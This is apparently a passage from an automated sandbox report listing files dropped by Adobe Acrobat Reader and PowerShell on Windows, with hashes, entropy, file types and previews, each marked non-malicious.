SHA-512:	D50C2F8D15CF8CB5D4E5DA10345613A31D0533F8A526FEB6814BA0633D4A657A74D6E3060AAC349A0C37DC3F1827E002249B5F21A13B5F8FD1F87139D4E40447
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658000976203747
Encrypted:	false
SSDEEP:	24:Yv6XgzvqamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSeT:YvDcBgkDMUJUAh8cvMeT
MD5:	DC016C79D9BD79D2CDF75C0820770DF2
SHA1:	69F6DA4536842CD90B28C6E097576289DB929301
SHA-256:	A3B7659821C4CED35D3788846DBA5C822FC8BF2973FBFB59DD221FE8EDBA6C4F
SHA-512:	CC80549F0E22DD1FD3F74F0B113E0DE14A2F0C2B1F4646AE76C16F68CA1AE40B2FFB2C3CA81D97ED14012AC2C70B709DFC00B0CC63310B07B7542ECD27704B2C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.245467087189858
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhTVoZcg1vRcR0YmjyoAvJfshHHrPeUkwRe9:YvXKXgZc0v7tGUUUkee9
MD5:	56C567731357AFA1BC874241C0EDD28F
SHA1:	472EB43BBF4BC05800F573FF75055B3F04EEBDAE
SHA-256:	B854D344DABF9C3A1F6927E273DE663B2E905DAF60809276A11707065409917A
SHA-512:	7A8DF10222929815943374FD5285E94D6E23182C062F46B89A158D23AC234BFFED5594839AEE02690515640132B5D362908BE774D533BD3E369DB4F7C605062F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2588197657068525
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhTVoZcg1vRcR0YmjyoAvJTqgFCrPeUkwRe9:YvXKXgZc0v7tGTq16Ukee9
MD5:	2CB59C6308A591CDFCBCE161A77C2B14
SHA1:	A74CA4D5D5EEB186BA470345513C901921CB71B9
SHA-256:	7E73B67F661FDD350D95C8330B958F74E6927C244351647EB110D3541BF5D233
SHA-512:	A6EEE75B897E69E42BF77E571350E5A1ABC0D48E5692D50C9EFA1A950ADE1E8F7B615DD76C3F7021850A72ED97D9B742E097E7F645D9272B67844B1390CBBEAC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.129717953687427
Encrypted:	false
SSDEEP:	24:YrFLQdGaKayO4MUA0F/6CBAP6laOjLzcj0SOpOBAC2iV2LSACixMVfOb8d5c69Vr:YaC1LrlpPujltViWVfObGj9F
MD5:	8015B0E8A3A41E9E95FC7C51428A2DD9
SHA1:	FC71C060B51DEA4E2CC9E52B82A95E84E0599E03
SHA-256:	D6F1289FA64CFF232B028501E7FFF0B96C91B648D489661747C015A7EED4B27A
SHA-512:	DF579E1E85B787CE40EC259789317D06D346C01F2A7BAA5128BC468034E0A773D03687F8D8DC404B8D2C989ADA4005BD8DE36733C72168130E2F7810C67F1BFE
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"784b301de474f98566813f91ccba8ed8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736790799000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4cb4c27ddb1d1dffdef02e2f5d96d1a6","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736790798000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e7b08b2f56d7d3aad3e8cc7d9dfdf4c8","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736790798000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"990955ff6175bee18a067923c2034c46","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736790798000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"44f8907894df81d27785bffc6c974a23","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736790798000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"808f2693cdd7ceb51f9380960eecba9e","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.187867778620343
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUKYSvR9H9vxFGiDIAEkGVvpmW:lNVmswUUUUUUUUKY+FGSItKW
MD5:	A8FD1EB32CBFE5AA9DAFA72555C9D83F
SHA1:	A8841337EBC4562F3AC29E2F92AFF74BD88C1F1C
SHA-256:	A37C4F54C4184B69AA91543A7AA7BE406872E65C012A3FD3D51A85A840E4507B
SHA-512:	C2BB09C7BD1F90E0673376B6B75AAA28DF762F0B129DD358955BC948E2009CB3C8BD29AB20497F31E1F4BE8B44143CD3AE22E7CCE4FBCC88BC07D2BB26C55796
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.606962305444762
Encrypted:	false
SSDEEP:	48:7MiKUUUUUUUUUUK6vR9H9vxFGiDIAEkGVvefqFl2GL7msa:7yUUUUUUUUUUKGFGSItIKVmsa
MD5:	50790394ED92638CCFF9E666B009E43F
SHA1:	48E98ECFE063DD9553A6A760DDE0C9452DF93242
SHA-256:	7DC044F3D4E4B444DB4199BD226C0751FF4368FF0B867B3A76104057F8B7400C
SHA-512:	122AB017436D975871788B39CBBC1C06851824F7B968A87C9D92C77C377AE409C2B310D2BAF1D1C360F45E5EC9B7B6DFE9D766D57A6BA158E91A30DF22DCB033
Malicious:	false
Preview:	.... .c.....!.B.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg4Zf3yF0pKxnnRh5p5oSRfGn6Yyu:6a6TZ44ADEUf3yF0pwnXA6K
MD5:	96C0E500038DE913D7988F15D0B65C36
SHA1:	EE388A45874A034369EDD24B48A832F0031BBADE
SHA-256:	2B1439E8D99E363B74CFB4F889165D3417159C24A42027B8F41961AEC9E9620F
SHA-512:	4D697BDE95755AC4CD282E1B9E8307FC5ECF6419A860CCD42C244BB88A6F2AFD468A28F7D948C5C6FD84E1ABB5C6861485396599AA670FAE1B15B81ABE580F92
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI136b3.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4969396028059014
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84jClE3ClllH:Qw946cPbiOxDlbYnuRKTjD3Cll9
MD5:	A3C03A0506871EE0AA56248BA99F6695
SHA1:	3F8DD8DC6A995A92CA85F2F1A8EF648E7D9AA439
SHA-256:	595B2C8C672B0D4D88A3A353AF7ADF69CC8E13CD483A7EF61AFA22AF1ED80C69
SHA-512:	960201582724FB5954292A22885CB48E88F61D50B29726579D788D5F01F52CA46D4C6C898C0A4224995B6F329DEBACFBD5DF484D10079D8DE3F51F15783E93A2
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.0.1./.2.0.2.5. . .1.2.:.5.3.:.2.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oug1fc1w.bfo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qjsvqnit.j1b.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-13 12-53-15-902.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.352504310299338
Encrypted:	false
SSDEEP:	384:m5Ps2Afle3WANYoHv59RVj8FxiDpr99r+tv8KwnFt3JsuFCFYV64whwhIMZNS9FT:9q4
MD5:	C1762D5CA730C4EFAE0FA2298CCE21A2
SHA1:	9F06B244CA7A249E645EA9ED4611DAD6BC9289CE
SHA-256:	E77A2475D1300AD3301A190704F2D1D72D5DF350895BFC359421E41885B01F2E
SHA-512:	98494AB7203F08922CB42AD6422914CD699E07212B8818B062FDEA9A2F7481E1FF6DA94FA1A8524D4462CA7D4AAFC8F36B968B3D5D8F36487A384CA7D73DF958
Malicious:	false
Preview:	SessionID=7321f554-3750-471b-a92b-acbabf58a305.1736790795932 Timestamp=2025-01-13T12:53:15:932-0500 ThreadID=7652 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7321f554-3750-471b-a92b-acbabf58a305.1736790795932 Timestamp=2025-01-13T12:53:15:932-0500 ThreadID=7652 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7321f554-3750-471b-a92b-acbabf58a305.1736790795932 Timestamp=2025-01-13T12:53:15:932-0500 ThreadID=7652 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7321f554-3750-471b-a92b-acbabf58a305.1736790795932 Timestamp=2025-01-13T12:53:15:932-0500 ThreadID=7652 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7321f554-3750-471b-a92b-acbabf58a305.1736790795932 Timestamp=2025-01-13T12:53:15:933-0500 ThreadID=7652 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3931908415334
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r/:7
MD5:	8BB1E44F2EDC2D66BA6CAB21644C96CE
SHA1:	170420551DD6824D4C92EE5A5E7AFEAB6CF32B3F
SHA-256:	3C479CFF5D2CA1C038F12CEA3D463B79E4854F62F3550DFEA17D608CA0FA9695
SHA-512:	0A5C1D8654239D1678040835E18B4885BA7CE56C911FFB9DF655EE588E44FFD77009CDECE56632C7517AB977901097BA542FF6FA73D8983966404F8DBAFC9093
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\29b187d2-a6b8-4985-b644-b173ad21602f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\75e3c465-977e-468f-9b85-ab05e22afc68.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8ed7a0e5-58a9-4be0-8eea-fcbf43c4a016.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\dd297e90-616e-462c-80eb-7d165a325a34.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
